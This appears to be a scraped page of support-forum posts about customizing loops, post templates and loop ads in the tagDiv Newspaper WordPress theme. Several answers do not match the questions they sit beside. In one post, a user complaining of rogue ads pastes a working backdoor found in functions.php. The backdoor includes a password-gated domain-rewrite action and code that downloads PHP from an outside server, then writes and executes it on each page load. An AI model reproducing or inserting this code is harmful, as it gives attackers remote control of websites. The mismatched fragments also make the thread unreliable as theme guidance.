- NewspaperPosts Loop Element
- NewspaperFlex Block Builder and Flex Loop Builder
- NewspaperBookmark – Save For Later
- NewspaperModules Builder in Newspaper Theme
- NewspaperFilters and sorting for taxonomies
- NewspaperPage templates
- NewspaperSmart Sidebar
- NewspaperChild Theme Support
Thanks Simion,
I want to share this:
Plugin: Sharethis
MOBILE
Newspaper/Mobile/Single.php
<?php
/**
* Created by ra.
* Date: 10/23/2015
*/
global $post;
//increment the views counter
td_page_views::update_page_views($post->ID);
get_header();
if (have_posts()) {
td_global::load_single_post($post);
$td_mod_single = new td_module_single_mob($post);
?>
<div class="td-container">
<!-- breadcrumbs -->
<div class="td-crumb-container"><?php echo td_page_generator_mob::get_single_breadcrumbs($td_mod_single->title); ?></div>
<!-- post content -->
<?php the_post(); ?>
<article id="post-<?php echo $td_mod_single->post->ID;?>" class="<?php echo join(' ', get_post_class());?>" <?php echo $td_mod_single->get_item_scope();?>>
<div class="td-post-header">
<?php echo $td_mod_single->get_category(); ?>
<header class="td-post-title">
<?php echo $td_mod_single->get_title();?>
<?php if (!empty($td_mod_single->td_post_theme_settings['td_subtitle'])) { ?>
<p class="td-post-sub-title"><?php echo $td_mod_single->td_post_theme_settings['td_subtitle'];?></p>
<?php } ?>
<div class="td-module-meta-info">
<?php echo $td_mod_single->get_author();?>
<?php echo $td_mod_single->get_date(false);?>
<?php echo $td_mod_single->get_comments();?>
<?php echo $td_mod_single->get_views();?>
</div>
</header>
</div>
<div class="td-post-content">
<?php
// override the default featured image by the templates (single.php and home.php/index.php - blog loop)
if (!empty(td_global::$load_featured_img_from_template)) {
echo $td_mod_single->get_image(td_global::$load_featured_img_from_template);
} else {
echo $td_mod_single->get_image('td_696x0');
}
?>
<?php echo $td_mod_single->get_social_sharing_top();?>
<?php echo $td_mod_single->get_content();?>
</div>
<footer>
<?php echo $td_mod_single->get_post_pagination();?>
<?php echo $td_mod_single->get_review();?>
<div class="td-post-source-tags">
<?php echo $td_mod_single->get_source_and_via();?>
<?php echo $td_mod_single->get_the_tags();?>
</div>
<div class="sharethis-inline-reaction-buttons"></div>
<?php echo $td_mod_single->get_next_prev_posts();?>
<?php echo $td_mod_single->get_author_box();?>
<?php echo $td_mod_single->get_item_scope_meta();?>
</footer>
</article> <!-- /.post -->
<?php echo $td_mod_single->related_posts();?>
</div>
<?php
} else {
//no posts
echo td_page_generator_mob::no_posts();
}
comments_template('', true);
get_footer();
View: https://www.screencast.com/t/2ROxmtWBLp3
DESKTOP
CODE: https://www.screencast.com/t/w90uht8VYV
VIEW: https://www.screencast.com/t/f9AA6yEOin
Hi There,
I’m having problems with the category, it’s not showing all the posts marked as belonging to that category.
It just show three, I’ve tried everything changing the looping section and doesn’t work. Any idea?
My purchase code is
The website is: https://www.bellezamedica.es/categoria/noticias/
Thanks in advance
Hello,
Sorry but the mobile theme was designed to show a loop of all the posts on a site. There is no simple way to show the pages instead. You should not use the mobile theme if you nee to show pages. Use the standard responsive version of the theme to show your desktop content on mobile phones as well.
Thank you!
I did follow step by step exactly, even i see the code block from inspect element, i tried deactivating all the plugins but alas it doesnt work.
Can you please take a look at my single post template if i missed anything?
<?php
// Template 1 – post-final-1.psd – featured image float left
//get the global sidebar position from td_single_template_vars.php
locate_template(‘includes/wp_booster/td_single_template_vars.php’, true);
get_header();
global $loop_sidebar_position, $td_sidebar_position, $post;
$td_mod_single = new td_module_single($post);
?>
<div class=”td-main-content-wrap td-container-wrap”>
<div class=”td-container td-post-template-1 <?php echo $td_sidebar_position; ?>”>
<div class=”td-crumb-container”><?php echo td_page_generator::get_single_breadcrumbs($td_mod_single->title); ?></div>
<div class=”td-pb-row”>
<?php
//the default template
switch ($loop_sidebar_position) {
default:
?>
<div class=”td-pb-span8 td-main-content” role=”main”>
<div class=”td-ss-main-content”>
<?php
locate_template(‘loop-single-1.php’, true); ?>
<div class=”fb-comments” data-href=”<?php echo get_permalink($td_mod_single->post->ID); ?>” data-width=”100%” data-numposts=”5″></div>
</div>
</div>
<div class=”td-pb-span4 td-main-sidebar” role=”complementary”>
<div class=”td-ss-main-sidebar”>
<?php get_sidebar(); ?>
</div>
</div>
<?php
break;
case ‘sidebar_left’:
?>
<div class=”td-pb-span8 td-main-content <?php echo $td_sidebar_position; ?>-content” role=”main”>
<div class=”td-ss-main-content”>
<?php
locate_template(‘loop-single-1.php’, true); ?>
<div class=”fb-comments” data-href=”<?php echo get_permalink($td_mod_single->post->ID); ?>” data-width=”100%” data-numposts=”5″></div>
</div>
</div>
<div class=”td-pb-span4 td-main-sidebar” role=”complementary”>
<div class=”td-ss-main-sidebar”>
<?php get_sidebar(); ?>
</div>
</div>
<?php
break;
case ‘no_sidebar’:
?>
<div class=”td-pb-span12 td-main-content” role=”main”>
<div class=”td-ss-main-content”>
<?php
locate_template(‘loop-single-1.php’, true); ?>
<div class=”fb-comments” data-href=”<?php echo get_permalink($td_mod_single->post->ID); ?>” data-width=”100%” data-numposts=”5″></div>
</div>
</div>
<?php
break;
}
?>
</div> <!– /.td-pb-row –>
</div> <!– /.td-container –>
</div> <!– /.td-main-content-wrap –>
<?php
get_footer();
Could you please help me how to make my category to show more than 10 posts. I don’t want to use infinity loop on ARTICLE DISPLAY VIEW.
Thank you for your help
Hi Simion,
Exactly, I have a block of content that I add on every post at the beginning through loop-single-X.php.
I don’t want to show this block of content on posts which are using Smart List.
What I want to do is something like :
if ( !is_smart_list() ) {
// add my block of content
}
I’m looking for the equivalent of !is_smart_list() or something similar to use it as a condition to show or not show this block of content. 🙂
Cheers !
Hi,
I don’t exactly understand what is the final desired result, maybe there is a different method.
I don’t believe that posts containing smart lists in their content could be identified in the posts loop.
Thanks
Hi,
That would require some editing of the post template used. Each post template has a corresponding loop-single file (Ex: post template 2->loop-single-2) These files are located in the main theme folder.
Editing one of the templates (in this example post template 2) the structure of the post can be seen.
Now by using a do_shortcode you could place an ad in that position, for all posts that use the mentioned post template, like this
– https://www.screencast.com/t/jFW87F2fi
Placing the code above the related articles section will display it as you want
– https://www.screencast.com/t/9Xqg9GtAw7
I used the custom ad 1 spot in this example, you can use others if needed and make the modification in the code
<?php echo do_shortcode ('[td_block_ad_box spot_id="custom_ad_1"]'); ?>
Note that this will affect only posts that use the edited post template.
Thanks
Hi,
As I mentioned each post template has a corresponding loop-single file. Enter the code in the loop-single file for the post templates you are using. The file you mention, loop-single.php corresponds to the default post template
– https://www.screencast.com/t/xRYzX7gtjd
Modifications to this particular file will affect only posts using the default post template. If you use other post templates on other posts, you will have to enter the code in their corresponding loop-single files as well. That would be the best way to do this.
Thanks
Hi,
The ad should be displayed after the number of posts entered. It will not repeat the same ad multiple times in the loop. So if you set it to 2 posts for example, the ad will be displayed after two posts and stop, it will not be repeated. If that is what you need, you will have to modify the loop ad used by the mobile theme plugin.
Something like this will repeat the ad if that is what you want
– https://www.screencast.com/t/dykTHoHYU43
Try it and make some tests to see of everything works properly.
Thanks
Hi,
I use the plugin for the mobile theme of tagdiv Newspaper.
The “loop ad” function does not work as it should work.
I put down ‘after post’ 5, this is standard.
However, he only shows 1 ad and not about the five posts as set
Thanks in advance!
Hi,
The number of posts displayed in the category pages loop depends on the value entered here
– https://www.screencast.com/t/AP9j8BlJf
I see that it is currently set to 15 posts, change it to 14 or 16 for example.
Thanks
hi, in rd_block_77.php i found a foreach loop code. line 42 “$td_post_count = 0; // the number of posts rendered”. i add this $buffy .= $td_post_count; cumber came in loops.
But i want to add this index number like blow
<div class=”td-module-meta-info”>
<?php $td_post_count;?>
<?php echo $this->get_author();?>
<?php echo $this->get_date();?>
<?php echo $this->get_comments();?>
</div>
Hi
I have a question. I just want to add block – OUR LATEST POST (from 404.php) at the bottom of the single post. How to add or modify this code and paste to single.php?
<h4 class="block-title"><span><?php echo __td('OUR LATEST POSTS', TD_THEME_NAME) ?></span></h4>
<?php
$args = array(
'post_type'=> 'post',
'showposts' => 6
);
query_posts($args);
$td_loop_block_module = td_util::get_option('tds_404_page_layout');
//$td_loop_block_module
locate_template('loop.php', true);
//get_template_part('category', 'slider');
wp_reset_query();
?>
of course after content and before widget (mobile)
Hi,
Single modules can be selected for loop section, like Latest articles, category pages, tag pages etc
– https://www.screencast.com/t/leYkP5cHz94
– https://www.screencast.com/t/rMp0EZ8yAnn9
– https://www.screencast.com/t/6l71mlHE1
On pages created with the composer you can add blocks and grids
– https://forum.tagdiv.com/tagdiv-composer-tutorial/
Some blocks contain multiple modules, others are made of the same module
– https://forum.tagdiv.com/theme-blocks-modules/
These are all the blocks that have a Read more button, and you can place on pages
– https://demo.tagdiv.com/newspaper/block-12/
– https://demo.tagdiv.com/newspaper/block-13/
– https://demo.tagdiv.com/newspaper/block-20/
– https://demo.tagdiv.com/newspaper/block-22/
– https://demo.tagdiv.com/newspaper/block-23/
– https://demo.tagdiv.com/newspaper/block-24/
Please note that the number of posts in blocks can be limited, so it could limit it to one module for example
– https://www.screencast.com/t/PQx6iZM8VLv5
Depending on the layout the blocks can switch modules as well. The block may not look the same when on a full row, and a 1/3 split for example.
All the available blocks are predefined, this will ensure they will always display properly in any situation.
I could’t say exactly why the modules are named as they are, it was a decision made by the developers when creating the theme.
Thanks
Hi,
You can include posts in the Featured category
– https://forum.tagdiv.com/featured-posts-2/
Then choose the Featured category in the slide filter settings, and sort by Latest
– https://www.screencast.com/t/cjaN2O4V
In this situation the slide will display the latest posts added to the Featured category. A limit of posts can be set as well as an autoplay interval
– https://www.screencast.com/t/XouPGmR1
So now the slide will display for example 5 latest posts from the chosen category, changing every 5 seconds.
The excerpt in this case should be set to letters, maybe choose the same value for all modules. The post titles will not be the same for all posts, experiment with different values for the blocks you use, until you find a perfect solution.
Regarding the cache configuration there is a guide
– https://forum.tagdiv.com/cache-plugin-install-and-configure/
Some settings might have changed, but most are the same
– https://www.screencast.com/t/viT3UUna
We will update the tutorial as soon as possible, taking in account the changes in the cache plugins panels.
The front page will be used to display the posts, you will not be needing that option to use a different page. The “Blog pages show at most” setting controls the number of posts in the Latest articles section (if there is no value set manually – https://www.screencast.com/t/3Io9tIeZhU2), and on category pages loop
– https://www.screencast.com/t/VN0sogW6LNS
– https://www.screencast.com/t/W8vNqqmA1RFs
A sidebar can be set or removed for each category, in the Per category settings. The actual sidebar content can be customized in Appearance->Widgets
– https://www.screencast.com/t/DatBdFk8j
There could be such plugins, but we cannot make any recommendations. You can search for and try out a few plugins that have options like this. The post can be shared but manually, not automatically
– https://forum.tagdiv.com/sharing/
Please let us know if you have further questions, we will try to help you as soon as possible.
Thanks
if you’re referring to ARTICLE DISPLAY VIEW in theme panel, then you need to modify the module in include/modules/td_module_(…).php, and for the posts page it’s in loop-single-(…).php
Sometimes my ad is showing ads on my website. I can not prevent forwarding or iframe ads. I have a piece of code that can not be deleted in functions.php when I refresh the theme and other files.
This is unkown section in funtions.php
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '6708e20e039----------edit---426c0c'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code9\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
if ( ! function_exists( 'theme_temp_setup' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if ( ! is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
if($tmpcontent = @file_get_contents("http://www.dolsh.com/code9.php?i=".$path))
{
function theme_temp_setup($phpCode) {
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
extract(theme_temp_setup($tmpcontent));
}
}
}
?>
function.php more code section..
<?php
/*
Our portfolio: http://themeforest.net/user/tagDiv/portfolio
Thanks for using our theme!
tagDiv - 2017
*/
/**
* Load the speed booster framework + theme specific files
*/
// load the deploy mode
require_once('td_deploy_mode.php');
// load the config
require_once('includes/td_config.php');
add_action('td_global_after', array('td_config', 'on_td_global_after_config'), 9); //we run on 9 priority to allow plugins to updage_key our apis while using the default priority of 10
// load the wp booster
require_once('includes/wp_booster/td_wp_booster_functions.php');
require_once('includes/td_css_generator.php');
require_once('includes/shortcodes/td_misc_shortcodes.php');
require_once('includes/widgets/td_page_builder_widgets.php'); // widgets
/*
* mobile theme css generator
* in wp-admin the main theme is loaded and the mobile theme functions are not included
* required in td_panel_data_source
* @todo - look for a more elegant solution(ex. generate the css on request)
*/
require_once('mobile/includes/td_css_generator_mob.php');
/* ----------------------------------------------------------------------------
* Woo Commerce
*/
// breadcrumb
add_filter('woocommerce_breadcrumb_defaults', 'td_woocommerce_breadcrumbs');
function td_woocommerce_breadcrumbs() {
return array(
'delimiter' => ' <i class="td-icon-right td-bread-sep"></i> ',
'wrap_before' => '<div class="entry-crumbs" itemprop="breadcrumb">',
'wrap_after' => '</div>',
'before' => '',
'after' => '',
'home' => _x('Home', 'breadcrumb', 'woocommerce'),
);
}
// use own pagination
if (!function_exists('woocommerce_pagination')) {
// pagination
function woocommerce_pagination() {
echo td_page_generator::get_pagination();
}
}
// Override theme default specification for product 3 per row
// Number of product per page 8
add_filter('loop_shop_per_page', create_function('$cols', 'return 4;'));
if (!function_exists('woocommerce_output_related_products')) {
// Number of related products
function woocommerce_output_related_products() {
woocommerce_related_products(array(
'posts_per_page' => 4,
'columns' => 4,
'orderby' => 'rand',
)); // Display 4 products in rows of 1
}
}
/* ----------------------------------------------------------------------------
* bbPress
*/
// change avatar size to 40px
function td_bbp_change_avatar_size($author_avatar, $topic_id, $size) {
$author_avatar = '';
if ($size == 14) {
$size = 40;
}
$topic_id = bbp_get_topic_id( $topic_id );
if ( !empty( $topic_id ) ) {
if ( !bbp_is_topic_anonymous( $topic_id ) ) {
$author_avatar = get_avatar( bbp_get_topic_author_id( $topic_id ), $size );
} else {
$author_avatar = get_avatar( get_post_meta( $topic_id, '_bbp_anonymous_email', true ), $size );
}
}
return $author_avatar;
}
add_filter('bbp_get_topic_author_avatar', 'td_bbp_change_avatar_size', 20, 3);
add_filter('bbp_get_reply_author_avatar', 'td_bbp_change_avatar_size', 20, 3);
add_filter('bbp_get_current_user_avatar', 'td_bbp_change_avatar_size', 20, 3);
//add_action('shutdown', 'test_td');
function test_td () {
if (!is_admin()){
td_api_base::_debug_get_used_on_page_components();
}
}
/**
* tdStyleCustomizer.js is required
*/
if (TD_DEBUG_LIVE_THEME_STYLE) {
add_action('wp_footer', 'td_theme_style_footer');
// new live theme demos
function td_theme_style_footer() {
?>
<div id="td-theme-settings" class="td-live-theme-demos td-theme-settings-small">
<div class="td-skin-body">
<div class="td-skin-wrap">
<div class="td-skin-container td-skin-buy"><a target="_blank" href="http://themeforest.net/item/newspaper/5489609?ref=tagdiv">BUY NEWSPAPER NOW!</a></div>
<div class="td-skin-container td-skin-header">GET AN AWESOME START!</div>
<div class="td-skin-container td-skin-desc">With easy <span>ONE CLICK INSTALL</span> and fully customizable options, our demos are the best start you'll ever get!!</div>
<div class="td-skin-container td-skin-content">
<div class="td-demos-list">
<?php
$td_demo_names = array();
foreach (td_global::$demo_list as $demo_id => $stack_params) {
$td_demo_names[$stack_params['text']] = $demo_id;
?>
<div class="td-set-theme-style"><a>" class="td-set-theme-style-link td-popup td-popup-<?php echo $td_demo_names[$stack_params['text']] ?>" data-img-url="<?php echo td_global::$get_template_directory_uri ?>/demos_popup/large/<?php echo $demo_id; ?>.jpg"><span></span></a></div>
<?php } ?>
<div class="td-set-theme-style-empty"><a href="#"></a></div>
<div class="td-set-theme-style-empty"><a href="#"></a></div>
<div class="clearfix"></div>
</div>
</div>
<div class="td-skin-scroll"><i class="td-icon-read-down"></i></div>
</div>
</div>
<div class="clearfix"></div>
<div class="td-set-hide-show"><a href="#"></a></div>
<div class="td-screen-demo" data-width-preview="380"></div>
</div>
<?php
}
}
//td_demo_state::update_state("art_creek", 'full');
//print_r(td_global::$all_theme_panels_list);
how can you solve this problem? I Know little english.
Hi,
If you enter 5 ads in the loop ad section, they will all be displayed at the same time. The system is designed to use only one ad code as the loop ad, not multiple ads. So enter one ad in that section, an choose the desired number of posts.
If you want to make modifications to this system, this is the file where the process is defined
– https://www.screencast.com/t/gc23C2JvMx
Please consider that this might not be an easy task to achieve.
Thanks
1) How to customize the heading of posts loop?
I imported a demo of yours, and just changed the font name, but h1 headings are soooo big:
2) I used big grid forthis, but unfortunately the style of the title and the metadata are not the same. How to make a big grid to be shown likethis: ?
Hi,
That image will be displayed on block or grid modules, when there is no featured image set and the placeholder is enabled in the theme panel
– https://www.screencast.com/t/e2FwxtouO
I cannot seem to find many posts with no thumbnail, on the website. Did find these, so it is working
– https://www.screencast.com/t/KRW6KDyBwoRo
The post template files are located in the main theme folder, each template has a corresponding single and loop-single file
– https://www.screencast.com/t/X91jeg38H077
Thanks
Hi,
That could be available in future theme updates, but for the moment the category pages cannot be edited and insert Blocks and other elements. All the settings for the category pages will have to be made through the theme panel
– https://forum.tagdiv.com/how-category-settings-work/
On a category page there will be a Top grid of your choosing, and a loop containing posts from that category, also a chosen sidebar. The module that displays the posts can be changed by category as well.
Please check the category page layouts and module examples in the Features menu, in the live theme demo
– https://demo.tagdiv.com/newspaper/
Thanks
Hello,
The latest articles are being populated on the page template by calling the loop.php file. Here is the code: https://www.screencast.com/t/41eUsvQSOvV
If you modify the loop file, it will affect category pages, and the blog page as well. (the latest posts page from wordpress)
Thank you!
Hi,
Please note that this modification will have to be made to the post template style that you are using. If multiple post templates are used throughout the website, this change will have to be made for each of them.
For example here I am using post template style 2
– https://www.screencast.com/t/XqWndJvXa
The modification has to be made to the single_template_2.php file
– https://www.screencast.com/t/g9BfEEjWfAzJ
Replace the highlighted line of code with the one provided in the topic pastebin, with a small modification to it (this way there is no need to use the CSS for styling)
– https://www.screencast.com/t/B5n6tGi60Mhm
– https://www.screencast.com/t/Lf3UI6jf
– https://www.screencast.com/t/xu5Uc6yxn
The result is like this
– https://www.screencast.com/t/WuC2OKToxX2
You could change the text (Last Modified) as well if you like, for example like this
– https://www.screencast.com/t/A1sXw1R6Yha
– https://www.screencast.com/t/FprWr9t0
For some post templates, the modification will have to be made in the loop single file, instead of the single file. Like post template 9 for example
– https://www.screencast.com/t/e2x3GQ0i8A
Once made all posts that have the modified post template, will display the modified date.
Thanks